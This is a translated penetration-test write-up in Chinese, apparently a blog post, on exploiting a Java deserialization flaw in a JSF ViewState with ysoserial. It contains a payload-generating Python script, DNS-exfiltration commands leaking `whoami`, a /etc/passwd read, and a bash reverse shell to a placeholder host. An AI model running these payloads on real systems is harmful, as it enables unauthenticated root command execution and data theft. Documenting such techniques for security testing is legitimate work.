在黑盒渗透测试中,我们遇到了一个 Java Web 应用程序,它向我们提供了一个登录页面。尽管我们设法绕过了认证机制,但是我们却做不了什么事情。攻击面还是很小,只能篡改一些东西。
1. 确定入口点
在登录页面中,我注意到每个登录请求都发送了一个隐藏的 POST 参数:
这是个 Base64 RO0 (AC ED 的 HEX 编码)编码的字符串,证实了我们处理的是 Base64 编码过的 Java 序列化对象。Java 对象实际上是一个未加密的 JSF ViewState。由于反序列化的漏洞以其恶作剧而臭名昭著,所以我开始搞砸了。
2. 对输入点进行模糊测试
2.1 一些不太幸运的尝试
此时,我不太确定底层的操作系统。通过ysoserial,我生成了一些有效载荷,将用于 ping ip,读取文件或造成响应延迟。这包括:
Linux 有效载荷:
ping -c 1 server.local cat /etc/passwd sleep 5
Windows 有效载荷:
ping -n 1 server.local type C:Windowswin.ini timeout 5
然而没有成功。没有 ping 或 DNS 请求到我们的服务器。应用程序始终以 HTTP 500 内部服务器错误进行响应,并引发了 ServletException,但 不提供其他输出信息。服务器马上就响应了,也没有延时。
2.2 在输入点进行爆破
由于无法确定哪个有效载荷能够工作,我必须自动化这个过程。我写了一个快速和肮脏的 Python 脚本,将生成一个包含所有有效载荷的攻击文件。我做了如下一些事情:
· 只选择接受完整操作系统命令的有效负载作为参数。没有必要(目前)支持 所有 这些 payload。所以我删除了几个 ysoserial 有效载荷。
· 一旦有效载荷被触发,我想知道是哪一个 payload 以及服务器运行的操作系统版本。
· 由于我不想混淆请求(添加对 GET,POST,cookies,HTTP auth 等的支持),所以我想用一个换行符分隔的文本文件生成有效载荷,这个文本文件可以作为 Burp 爆破器的有效载荷的输入文件。
代码如下:
import os import base64 payloads = [ ’ BeanShell1 ’ , ’ Clojure ’ , ’ CommonsBeanutils1 ’ , ’ CommonsCollections1 ’ , ’ CommonsCollections2 ’ , ’ CommonsCollections3 ’ , ’ CommonsCollections4 ’ , ’ CommonsCollections5 ’ , ’ CommonsCollections6 ’ , ’ Groovy1 ’ , ’ Hibernate1 ’ , ’ Hibernate2 ’ , ’ JBossInterceptors1 ’ , ’ JRMPClient ’ , ’ JSON1 ’ , ’ JavassistWeld1 ’ , ’ Jdk7u21 ’ , ’ MozillaRhino1 ’ , ’ Myfaces1 ’ , ’ ROME ’ , ’ Spring1 ’ , ’ Spring2 ’ ] def generate ( name, cmd ) : for payload in payloads: final = cmd.replace ( ’ REPLACE ’ , payload ) print ’ Generating ’ + payload + ’ for ’ + name + ’ ... ’ command = os.popen ( ’ java -jar ysoserial.jar ’ + payload + ’ " ’ + final + ’ " ’ ) result = command.read ( ) command.close ( ) encoded = base64.b64encode ( result ) if encoded != "": open ( name + ’ _intruder.txt ’ , ’ a ’ ) .write ( encoded + ’ n ’ ) generate ( ’ Windows ’ , ’ ping -n 1 win.REPLACE.server.local ’ ) generate ( ’ Linux ’ , ’ ping -c 1 nix.REPLACE.server.local ’ )
generate 函数有两个参数:第一个是文件名(例如 windows_intruder.txt),第二个是将要执行的命令。我选择了 ping 我们的服务器 IP 的命令。应用程序应该 ping 下面的子域:
{{OS}}.{{PAYLOAD}}.server.local
从而确认操作系统和成功的有效载荷。
3. 开始攻击
3.1 确认漏洞
我开始生成有效载荷:
用 Burp 的爆破器发送所有的有效载荷:
并检查我们的服务器上的 DNS 的查询日志:
root@server.local:-# tail -f /var/log/named/query.log 31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#61663 ( nix.CommonsCollections1.server.local ) : query: nix.CommonsCollections1.server.local IN A -ED ( x.x.x.x ) 31-Oct-2017 13:37:01.000 queries: info: client y.y.y.y#53844 ( nix.CommonsCollections6.server.local ) : query: nix.CommonsCollections6.server.local IN A -ED ( x.x.x.x )
经过一番爆破,我们取得了一石二鸟的战果:现在我们知道系统是基于 Linux 的,下面的有效载荷允许我们执行任意代码:CommonsCollections1 和 CommonsCollections6。
3.2 提取数据
在尝试创建一个有风险的后端连接(HTTP,TCP 等)之前,我决定尝试提取一些数据,从而确认这是一个真正的远程命令执行(IDS 解码了 base64 编码过的值和解析里面的 URL 也可以发出一个 DNS 请求。因为它应该触发所有的有效载荷,但是你并没有天天看到有 RCE 发生 )。使用 CommonsCollections1 小工具,我生成了两个使用以下命令的有效载荷:
`whoami`.exp.server.local $ ( whoami ) .exp.server.local
不幸的是,日志中填充了如下信息:
root@server.local:-# tail -f /var/log/named/query.log 31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#56055 ( `whoami`.exp.server.local ) : query: `whoami`.exp.server.local IN A -ED ( x.x.x.x ) 31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#61636 ( $ ( whoami ) .exp.server.local ) : query: $ ( whoami ) .exp.server.local IN A -ED ( x.x.x.x )
由于某种原因,命令替换似乎不起作用。经过几次失败的尝试后,我决定去看看 CommonsCollections1 和 CommonsCollections6 可用的小工具点击这里查看。
感谢作者,完整的小工具链作为注释写在了代码中。我们可以很快注意到以下几点:
CommonsCollections1
... SNIP ... InvokerTransformer.transform ( ) Method.invoke ( ) Runtime.exec ( ) CommonsCollections6 ... SNIP ... org.apache.commons.collections.functors.InvokerTransformer.transform ( ) java.lang.reflect.Method.invoke ( ) java.lang.Runtime.exec ( )
两个有效载荷的 shell 命令最终由 Java 的 Runtime.exec ( ) 执行。我们知道Runtime.exec ( ) 的行为不像一个普通的 shell,所以我们不得不修改有效载荷。幸运的是,前面提到的文章为我们提供了一个完整的实例。最后的命令应该是这样的:
sh -c $@|sh . echo ping $ ( whoami ) .exp.server.local
3.3 获得 ROOT 权限
我们使用 ysoserial 手动生成负有效载荷 :
java -jar ysoserial.jar CommonsCollections1 ’ sh -c $@|sh . echo ping $ ( whoami ) .exp.server.local ’ | base64 | tr -d "n"
对有效负载进行 URL 编码并发送出去。让我们再次检查我们的服务器的 DNS 日志:
root@server.local:-# tail -f /var/log/named/query.log 31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#40350 ( root.exp.server.local ) : query: root.exp.server.local IN A -ED ( x.x.x.x )
看起来今天是我们的幸运日啊。我们得到了一个远程的未经验证的 root 命令执行。并不是说我们没有见过这个。
当然,我们抓住了这次机会,然后试图获得一个反向的 shell:
java -jar ysoserial.jar CommonsCollections1 ’ sh -c $@|sh . echo bash -i >& /dev/tcp/x.x.x.x/31337 0>&1 ’ | base64 | tr -d "n"
我会让你猜一猜看,上面的命令是否执行成功了;)。
4. 一点总结
在利用 Java 反序列化漏洞时,我会列举一些需要注意的事项:
· 经过几次失败之后,不要放弃。Java 反序列化的利用是相当棘手的,确保在继续之前用尽所有的可能性(有效载荷,命令)。
· 向外部通信一般都是不行的。有时你必须要有创意。
· 请确保你没有忘记对由 ysoserial 生成的有效负载进行 URL 编码。Burp 的爆破器需要 URL 编码,Burp 的重放工具不需要编码所有必要的字符(即使你把它粘贴在 " 参数 " 选项卡中)。
· 请查看 Burp Suite 的 Java 反序列化插件。有些将会被动地识别序列化的 Java 对象,有些将帮助你进行漏洞利用。